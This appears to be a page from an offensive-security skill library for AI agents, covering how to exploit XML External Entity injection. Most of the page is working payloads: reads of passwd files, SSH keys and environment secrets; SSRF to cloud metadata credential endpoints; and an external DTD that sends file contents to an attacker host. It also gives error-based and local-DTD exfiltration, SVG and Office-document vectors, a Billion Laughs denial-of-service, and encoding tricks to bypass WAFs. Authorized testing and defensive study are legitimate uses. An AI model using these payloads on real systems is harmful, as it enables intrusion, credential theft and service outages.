secskills
secskills / offense / exploiting-xxe

exploiting-xxe

offense verified 2026-07-26

Exploit XML External Entity injection to read local files and reach internal services — in-band file read, php://filter base64 wrappers, SSRF to cloud metadata, blind out-of-band exfiltration with an external DTD, parameter entities, XInclude, and SVG/Office-document vectors. Use when an endpoint accepts XML (`Content-Type: application/xml`, `text/xml`, or a SOAP envelope), a file upload parses SVG, DOCX, XLSX, PPTX, PDF, or raw XML, a request body starts with `<?xml`, or the target consumes SAML.

$ /plugin install secskills-offense $ /plugin install secskills-core

XXE is what happens when an XML parser is allowed to resolve external entities the document defines. The attacker writes a DTD that tells the parser to fetch a file or a URL, and the parser obliges with the server's privileges. The reach is local file read and SSRF into the internal network. The hard cases are blind — the parser resolves the entity but never reflects it, so you exfiltrate out of band or through error messages.

Only against systems you are authorized to test.

When to Use

envelope, and the body starts with &lt;?xml

file (DOCX, XLSX, PPTX) which is a ZIP of XML parts, or an XML-bearing PDF

When NOT to Use

sink before you land here

signature, replay, and assertion context, then return here for the parser

auditing-code-for-vulnerabilities

Recognizing XML Sinks

XML hides in more places than a Content-Type header:

reads word/document.xml, xl/workbook.xml, etc.

The tell for a live parser: submit a benign internal entity and see it expand.

<?xml version="1.0"?>
<!DOCTYPE r [ <!ENTITY test "expanded-value"> ]>
<r>&test;</r>

If expanded-value appears in the response, general entities resolve and the next step is an external entity.

Classic In-Band File Read

When the entity value is reflected somewhere in the response:

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>

Place &amp;xxe; in whatever element the application echoes back — a name, a comment, a search term. High-value local targets:

file:///etc/passwd
file:///etc/hostname
file:///proc/self/environ         # env vars, sometimes secrets and tokens
file:///proc/self/cmdline
file:///proc/self/cwd/             # directory listing on some parsers
file:///var/www/html/config.php
file:///home/<user>/.ssh/id_rsa
file:///c:/windows/win.ini         # Windows

php://filter for Files That Break XML

A file containing &lt;, &amp;, or other XML-significant bytes (source code, config, /etc/shadow) will break the parse when read directly. On PHP targets, wrap it in the base64 filter so the entity value is pure base64:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
]>
<foo>&xxe;</foo>

Decode the returned blob with base64 -d. This is the go-to for reading PHP source and any file whose raw content would otherwise corrupt the document.

SSRF via XXE

An external entity pointed at a URL turns the parser into an HTTP client. The server fetches with its own network position, which reaches internal services and the cloud metadata endpoint:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<foo>&xxe;</foo>

Everything about target selection, IMDSv2's header requirement, alternate IP encodings, and internal service hunting lives in exploiting-ssrf — XXE is just another way to originate the request. Note the XML parser is a plain fetcher: it cannot set the X-aws-ec2-metadata-token header, so IMDSv2 blocks it the same way it blocks simple SSRF. AWS IMDSv1 needs no header and stays in reach, but Azure (Metadata: true) and GCP (Metadata-Flavor: Google) require a header XXE cannot set — out of reach like IMDSv2. Header-less internal services remain.

Blind XXE: Out-of-Band Exfiltration

Most real XXE returns nothing useful. Confirm the parser reaches out at all with a simple OOB ping:

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://<unique>.oast.example/ping"> ]>
<foo>&xxe;</foo>

A DNS or HTTP hit at Burp Collaborator / interact.sh confirms blind XXE. To exfiltrate file contents you need parameter entities (%name) and an external DTD hosted on your server, because a general external entity cannot be used inside another entity's definition, but parameter entities can.

Host this DTD at http://attacker.example/evil.dtd:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.example/x?d=%file;'>">
%eval;
%exfil;

Serve it with anything — a one-liner is enough:

# In the directory holding evil.dtd
python3 -m http.server 80
# Watch the query string of the inbound request for the base64 file content

The in-band request just pulls the external DTD:

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.example/evil.dtd"> %xxe; ]>
<foo>test</foo>

The &amp;#x25; is a hex-encoded % — required because a parameter entity reference cannot appear literally inside another parameter entity's definition; it must be escaped so the parser expands it during the second read.

Error-Based Exfiltration

When outbound HTTP is blocked but the parser reveals error messages, leak the file through a parse error. Reference a nonexistent path built from the file content so the failure message contains the data:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

The parser tries to open file:///nonexistent/root:x:0:0:... and the "no such file" error echoes the concatenated path — one line at a time, since newlines terminate the path.

Parameter Entities When General Entities Are Filtered

Some parsers or WAFs strip or reject general entity declarations but still process parameter entities. If &lt;!ENTITY xxe ...&gt; is blocked, the entire external-DTD technique above runs on &lt;!ENTITY % ...&gt; and works where the in-band approach does not. Parameter entities are also the only form usable inside the DTD's internal or external subset for chained definitions.

XInclude — No DOCTYPE Needed

When you control only part of the XML document — a single field the server drops into a larger document it builds — you cannot add a &lt;!DOCTYPE&gt;. XInclude does the file read from inside an ordinary element, as long as the parser has XInclude processing enabled:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

parse="text" reads the file as text (needed for non-XML files); drop it for XML targets. This is the technique for SOAP fields and any injection point below the document root.

SVG and Office-Document XXE

SVG is XML — put the DTD straight in the uploaded file:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="10" y="20">&xxe;</text>
</svg>

If the service rasterizes the SVG, the file content may render into the output image; if it echoes metadata, it appears there.

Office documents (DOCX/XLSX/PPTX) are ZIP archives of XML parts. Unzip, inject the DTD into a parsed part, and rezip:

mkdir doc && cd doc && unzip ../clean.docx
# Edit word/document.xml — add a DOCTYPE and reference &xxe; in a text run.
# For XLSX edit xl/workbook.xml or a sheet; for PPTX a slide part.
zip -r ../evil.docx . -x '.*'

Tooling automates the injection and repackaging: oxml_xxe and docem generate XXE-laden Office/Opendocument files across every part and payload variant.

Billion Laughs — Entity Expansion DoS

Nested entities expand exponentially and exhaust memory:

<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

Mention this to prove the parser expands entities unbounded, but do not actually run it against a live target — it is a denial-of-service that can take the service down. A parser that resolves the small confirmation entity is already the evidence; note the DoS exposure in the report without triggering it.

Local DTD Reuse for Restricted Parsers

When outbound access is blocked and the parser forbids external general entities but still permits parameter entities, you can repurpose a DTD file that already exists on the target filesystem. Redefine one of its parameter entities to trigger error-based exfiltration entirely locally:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    &#x25;eval; &#x25;error;
  '>
  %local_dtd;
]>
<foo>test</foo>

Find a DTD that ships with the OS (common paths differ by distro) and identify a parameter entity it defines to override. This is the fully-offline blind read.

Encoding Tricks to Bypass Filters

A WAF grepping for &lt;!ENTITY or &lt;!DOCTYPE in UTF-8 misses the same bytes encoded as UTF-16 or UTF-7. Re-encode the whole payload and set the prolog accordingly:

# UTF-16 defeats naive string-matching filters that only scan UTF-8
iconv -f UTF-8 -t UTF-16BE payload.xml > payload-utf16.xml

Also try: a UTF-16 encoding="UTF-16" declaration, mixing SYSTEM casing where the parser is case-insensitive, and swapping file:// for netdoc:// (older Java) or jar: (Java, reaches inside archives and holds connections open).

Rationalizations to Reject

APIs still parse XML when you flip the Content-Type to application/xml.

OOB and through error messages. Confirm with an out-of-band ping first.

hit the same parser.

entities where general ones are blocked.

error-based exfiltration for non-PHP targets.

into an external DTD the WAF never inspects.

cloud config, and app secrets; the same primitive is SSRF to metadata. Score it on what you retrieved, not on the mechanism.

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Initial Access (TA0001)

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.

References